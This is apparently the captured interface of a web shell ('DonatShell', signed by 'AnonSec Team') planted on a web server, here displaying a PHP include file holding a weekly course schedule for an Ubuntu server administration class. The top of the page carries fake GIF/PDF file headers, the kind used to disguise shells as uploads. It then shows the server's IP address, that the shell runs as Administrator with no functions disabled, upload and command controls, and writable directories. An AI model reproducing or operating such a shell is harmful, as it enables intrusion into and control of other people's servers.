GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST2608/Schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST2608/Schedule/CST2608_Schedule.phpinc
<?
// /MichaelMalz/CST2608/CST2608_Schedule.phpinc
#d_Var('$startDateArray',$startDateArray,'d');
#if ( $_SESSION['userId'] == 1 ) require('MichaelMalz/ScheduleCode.phpinc');
$week = 0;
$dayAdd = 2;
?>
<fieldset><legend><?=$title?></legend>
	<? require('MichaelMalz/WebMeetingLink.phpinc'); ?>
	<br>
<ol start="1">
<!-- Week 1: Wednesday 8/24 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<? require('MichaelMalz/Schedule_week1.phpinc'); ?>
			<br>
			<? require('MichaelMalz/Schedule_week1_Assignments_Begin.phpinc'); ?>
			<? require('MichaelMalz/Schedule_week1_Assignments_End.phpinc'); ?>
		</li>
		<br>
		Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
		<li>Browse <a href="https://help.ubuntu.com/20.04/serverguide/index.html">Ubuntu Server Guide</a>.</li>
		<!--
		<li>Read <a href="https://help.ubuntu.com/20.04/serverguide/preparing-to-install.html">Preparing to Install</a>.</li>
		<li>Read <a href="https://help.ubuntu.com/20.04/serverguide/installing-live-server.html">Installing using the live server installer</a>.</li>
		<li>Read <a href="https://help.ubuntu.com/20.04/serverguide/installing-from-cd.html">Installation using debian-installer</a>.</li>
		<li>Read <i>Chapter 1 - Introduction (pdf 7-8 pp 1-2)</i> in <a href="../Resources/serverguide18.pdf">Ubuntu 18 Server Guide</a>.
			<br><span class="note">The pdf numbers are the page numbers in the pdf document and the pp numbers are the page numbers listed at the bottom of each page.</span></li>
		<li>Read <i>Chapter 2 - Installation (pdf 9-32 pp 3-26) </i> in <a href="../Resources/serverguide18.pdf">Ubuntu 18 Server Guide</a>.</li>
		-->
	</ul>
</li><!-- END Week 1 -->
<!-- Week 2: Wednesday 8/31 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss the Virtualization environment.</li>
				<li>Discuss Ubuntu server.</li>
				<li>Demo install.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(1)?></li>
				<li><?=labLink(2)?></li>
				<li>Document your Ubuntu server IP address information.</li>
				<li>Read <a href="https://help.ubuntu.com/20.04/serverguide/remote-administration.html">Remote Administration</a>.</li>
				<li>Read <a href="http://www.webmin.com/">webmin</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 2 -->
<!-- Week 4: Wednesday 9/14 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://help.ubuntu.com/20.04/serverguide/remote-administration.html">Remote Administration</a>.</li>
				<li>Discuss <a href="http://www.webmin.com/">webmin</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(3)?></li>
				<li>Read <a href="https://ubuntu.com/server/docs/domain-name-service-dns">Domain Name Service (DNS)</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 4 -->
<!-- Week 5: Wednesday 9/21 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://ubuntu.com/server/docs/domain-name-service-dns">Domain Name Service (DNS)</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(4)?></li>
				<li><?=labLink(5)?></li>
				<li>Browse <a href="https://ubuntu.com/server/docs">Ubuntu Server documentation / How-to-guides / Web services</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 5 -->
<!-- Week 6: Wednesday 9/28 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li>Browse <a href="https://ubuntu.com/server/docs">Ubuntu Server documentation / How-to-guides / Web services</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 6 -->
<!-- Week 7: Wednesday 9/28 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://ubuntu.com/server/docs">Ubuntu Server documentation / How-to-guides / Web services</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(5)?></li>
				<li>Read <a href="https://ubuntu.com/server/docs">Ubuntu Server documentation / How-to-guides / Samba</a>.</li>
				<li>Read <a href="https://ubuntu.com/tutorials/install-and-configure-samba#1-overview">Install and Configure Samba</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 7 -->
<!-- Week 8: Wednesday 10/05 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://ubuntu.com/server/docs">Ubuntu Server documentation / How-to-guides / Samba</a>.</li>
				<li>Discuss <a href="https://ubuntu.com/tutorials/install-and-configure-samba#1-overview">Install and Configure Samba</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+2)?>:
			<ol type="i">
				<li><?=labLink(6)?></li>
				<li>Read <a href="https://searchnetworking.techtarget.com/definition/File-Transfer-Protocol-FTP">FTP (File Transfer Protocol)</a>.</li>
				<li>Read <a href="https://en.wikipedia.org/wiki/File_Transfer_Protocol">File Transfer Protocol</a>.</li>
				<li>Read <i><a href="https://ubuntu.com/server/docs/service-ftp">FTP server</a>.</li>
				<li>Read <a href="https://linuxconfig.org/mount-remote-ftp-directory-host-locally-into-linux-filesystem">Mount remote ftp directory host locally into linux filesystem</a>.</li>
				<li>Read <a href="https://ubuntuforums.org/showthread.php?t=1036636">How to mount ftp folder to local directory</a>.</li>
				<li>Read <a href="https://www.thewindowsclub.com/map-an-ftp-drive-windows">Map FTP drive in windows</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 8 -->
<!-- Week 9: Tuesday 10/12 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://searchnetworking.techtarget.com/definition/File-Transfer-Protocol-FTP">FTP (File Transfer Protocol)</a>.</li>
				<li>Discuss <a href="https://en.wikipedia.org/wiki/File_Transfer_Protocol">File Transfer Protocol</a>.</li>
				<li>Discuss <i>Chapter 14. File Servers 1: FTP Server</i> in <a href="../Resources/serverguide18.pdf">Ubuntu 18 Server Guide</a> (pp 253).</li>
				<li>Discuss <a href="https://www.ferrobackup.com/map-ftp-as-disk.html">FtpUse - Map a FTP server as a Local Disk Drive</a>.</li>
				<li>Discuss <a href="https://linuxconfig.org/mount-remote-ftp-directory-host-locally-into-linux-filesystem">Mount remote ftp directory host locally into linux filesystem</a>.</li>
				<li>Discuss <a href="https://ubuntuforums.org/showthread.php?t=1036636">How to mount ftp folder to local directory</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(7)?></li>
				<li>Read <a href="https://whatismyipaddress.com/mail-server">What is a Mail Server?</a>.</li>
				<li>Read <a href="https://www.samlogic.net/articles/mail-server.htm">What is a Mail Server and How Does it Work?</a>.</li>
				<li>Read <a href="https://ubuntu.com/server/docs/mail-postfix">Install and configure Postfix</a>.</li>
				<li>Read <a href="https://ubuntu.com/server/docs/mail-dovecot">Install and configure Dovecot</a>.</li>
				
			</ol>
		</li>
	</ul>
</li><!-- END Week 9 -->
<!-- Week10: Wednesday 10/2191 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<span class="attention nowrap">No live meeting this week. View recorded lecture.</span>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://whatismyipaddress.com/mail-server">What is a Mail Server?</a>.</li>
				<li>Discuss <a href="https://www.samlogic.net/articles/mail-server.htm">What is a Mail Server and How Does it Work?</a>.</li>
				<li>Discuss <a href="https://ubuntu.com/server/docs/mail-postfix">Install and configure Postfix</a>.</li>
				<li>Discuss <a href="https://ubuntu.com/server/docs/mail-dovecot">Install and configure Dovecot</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+2)?>:
			<ol type="i">
				<li><?=labLink(8)?></li>
				<li>Read <a href="https://en.wikipedia.org/wiki/Database_server">Database server</a>.</li>
				<li>Browse <a href="https://ubuntu.com/server/docs/databases-introduction">Introduction to Databases</a>.</li>
				<li>Browse <a href="https://ubuntu.com/server/docs/lamp-applications">Get started with LAMP applications</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 10 -->
<!-- Week 11: Wednesday 10/26 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://en.wikipedia.org/wiki/Database_server">Database server</a>.</li>
				<li>Discuss <a href="https://ubuntu.com/server/docs/databases-introduction">Introduction to Databases</a>.</li>
				<li>Discuss <a href="https://ubuntu.com/server/docs/lamp-applications">Get started with LAMP applications</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+2)?>:
			<ol type="i">
				<li><?=labLink(9)?></li>
				<li>Browse <a href="https://ubuntu.com/server/docs"> Reference / Security</a>.</li>
				<li>Browse <a href="https://ubuntu.com/server/docs">Reference / Monitoring</a>.</li>
				<li>Browse <a href="http://manpages.ubuntu.com/manpages/bionic/man7/cgroups.7.html">cgroups</a>.</li>
				<li>Browse <a href="https://ubuntu.com/server/docs/wireguard-vpn-introduction">WireGuard VPN</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 11 -->
<!-- Week 12: Wednesday 11/02 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://ubuntu.com/server/docs"> Reference / Security</a>.</li>
				<li>Discuss <a href="https://ubuntu.com/server/docs">Reference / Monitoring</a>.</li>
				<li>Discuss <a href="http://manpages.ubuntu.com/manpages/bionic/man7/cgroups.7.html">cgroups</a>.</li>
				<li>Discuss <a href="https://ubuntu.com/server/docs/wireguard-vpn-introduction">WireGuard VPN</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li>Read <a href="https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-phpmyadmin-on-ubuntu-18-04">How To Install and Secure phpMyAdmin on Ubuntu 20.04</a>.</li>
				<li>Read <a href="https://www.ubuntu18.com/install-phpmyadmin-ubuntu-18/">How to Install phpMyAdmin in Ubuntu 20.04 Server</a>.</li>
				<li><ins datetime="Added 11/9/2022">Read <a href="https://cpanel.net/">cPanel</a>.</ins></li>
				<li><ins datetime="Added 11/9/2022">Read <a href="https://www.guru99.com/best-cpanel-alternatives.html">15 Best FREE cPanel Alternatives (2022 Update)</a>.</ins></li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 12 -->
<!-- Week 13: Wednesday 11/09 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-phpmyadmin-on-ubuntu-18-04">How To Install and Secure phpMyAdmin on Ubuntu 20.04</a>.</li>
				<li>Discuss <a href="https://www.ubuntu18.com/install-phpmyadmin-ubuntu-18/">How to Install phpMyAdmin in Ubuntu 20.04 Server</a>.</li>
				<li><ins datetime="Added 11/9/2022">Discuss <a href="https://cpanel.net/">cPanel</a>.</ins></li>
				<li><ins datetime="Added 11/9/2022">Discuss <a href="https://www.guru99.com/best-cpanel-alternatives.html">15 Best FREE cPanel Alternatives (2022 Update)</a>.</ins></li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(10)?></li>
				<li>Browse <a href="https://help.ubuntu.com/20.04/serverguide/chat-servers.html">Chat Applications</a>.</li>
				<li>Read <a href="https://wiki.mumble.info/wiki/Main_Page">Mumble</a>.</li>
				<li>Read <i>UbuntuHandbook</i> <a href="http://ubuntuhandbook.org/index.php/2019/09/mumble-1-3-0-released-install-ubuntu-18-04/">Mumble How to Install in Ubuntu 20.04</a>.</li>
				<li>Read <i>mumble wiki</i> <a href="https://wiki.mumble.info/wiki/Installing_Mumble">Installing Mumble</a>.</li>
				<li>Discuss <i>mumble wiki</i> <a href="https://wiki.mumble.info/wiki/Installing_Mumble">Installing Mumble</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 13 -->
<!-- Week 14: Wednesday 11/16 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://wiki.mumble.info/wiki/Main_Page">Mumble</a>.</li>
				<li>Discuss <i>UbuntuHandbook</i> <a href="http://ubuntuhandbook.org/index.php/2019/09/mumble-1-3-0-released-install-ubuntu-18-04/">Mumble How to Install in Ubuntu 20.04</a>.</li>
				<li>Discuss <i>mumble wiki</i> <a href="https://wiki.mumble.info/wiki/Installing_Mumble">Installing Mumble</a>.</li>
				<li>Discuss <a href="https://itsfoss.com/open-source-video-conferencing-tools/">Top Open Source Video Conferencing Solutions</a>.</li>
				<li>Discuss <a href="https://www.makeuseof.com/open-source-video-conferencing-software/">The 5 Best Open-Source Video Conferencing Software</a>.</li>
				<li>Discuss <a href="https://www.ubuntupit.com/best-linux-video-conferencing-software/">The 20 Best Linux Video Conferencing Software and Tools</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(12)?></li>
				<li>Browse <a href="https://ubuntu.com/server/docs/package-management">Package management</a>.</li>
				<li>Browse <a href="https://www.makeuseof.com/top-version-control-systems-for-linux/">The Top 10 Version Control Systems for Linux</a>.</li>
				<li>Browse <a href="https://ubuntu.com/server/docs/service-sssd">Network User Authentication with SSSD</a>.</li>
				<li>
					Ubuntu tools:
					<ol>
						<li>Browse <a href="https://ubuntu.com/server/docs/tools-byobu">byobu</a> and <a href="https://www.byobu.org/">Byobu</a>.</li>
						<li>Browse <a href="https://ubuntu.com/server/docs/tools-etckeeper">etckeeper</a> and <a href="https://etckeeper.branchable.com/">etckeeper</a>.</li>
						<li>Browse <a href="https://ubuntu.com/server/docs/pam-motd">pam_motd</a>.</li>
						<li>Browse <a href="https://ubuntu.com/server/docs/tools-puppet">Puppet</a> and <a href="https://www.puppet.com/docs/puppet/8/puppet_overview">Puppet overview</a>.</li>
					</ol>
				</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 14 -->
<!-- Week 15: Wednesday 11/23 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://ubuntu.com/server/docs/package-management">Package management</a>.</li>
				<li>Discuss <a href="https://www.makeuseof.com/top-version-control-systems-for-linux/">The Top 10 Version Control Systems for Linux</a>.</li>
				<li>Discuss <a href="https://ubuntu.com/server/docs/service-sssd">Network User Authentication with SSSD</a>.</li>
				<li>
					Ubuntu tools:
					<ol>
						<li>Discuss <a href="https://ubuntu.com/server/docs/tools-byobu">byobu</a> and <a href="https://www.byobu.org/">Byobu</a>.</li>
						<li>Discuss <a href="https://ubuntu.com/server/docs/tools-etckeeper">etckeeper</a> and <a href="https://etckeeper.branchable.com/">etckeeper</a>.</li>
						<li>Discuss <a href="https://ubuntu.com/server/docs/pam-motd">pam_motd</a>.</li>
						<li>Discuss <a href="https://ubuntu.com/server/docs/tools-puppet">Puppet</a> and <a href="https://www.puppet.com/docs/puppet/8/puppet_overview">Puppet overview</a>.</li>
					</ol>
				</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>All assignments are due by Wednesday, December 13<sup>th</sup> 2022.</li>
	</ul>
</li><!-- END Week 15 -->
<!-- Week 16: Wednesday 11/30 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<span class="attention nowrap">No class meetings this week.</span>	
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<b>There is no lecture this week.</b> <span class="note normal">Contact me and I will open a web meeting for help with labs.</span></li>
		<li>All assignments are due by Wednesday, December 13<sup>th</sup> 2022.</li>
		<li>If you have not done so, please complete the <a href="../?Questionnaire">class questionnaire</a>.</li>
		<il>Complete all unfinished labs.</il>
	</ul>
</li><!-- END Week 16 -->
<!-- Week 17: Wednesday 12/14 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<span class="attention">Finals week. No class meeting.</span>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<span class="bold">No class meeting.</span>
		</li>
		<li>If you have not done so, please complete the <a href="../?Questionnaire">class questionnaire</a>.</li>
		<li>All assignments are due by Wednesday, December 13<sup>th</sup> 2022.</li>
	</ul>
</li><!-- END Week 17 -->
</ol>
</fieldset>
<? $LOCK_BELOW = $week; ?>
<? /** / ?>

<? /**/ ?>

Anon7 - 2022
AnonSec Team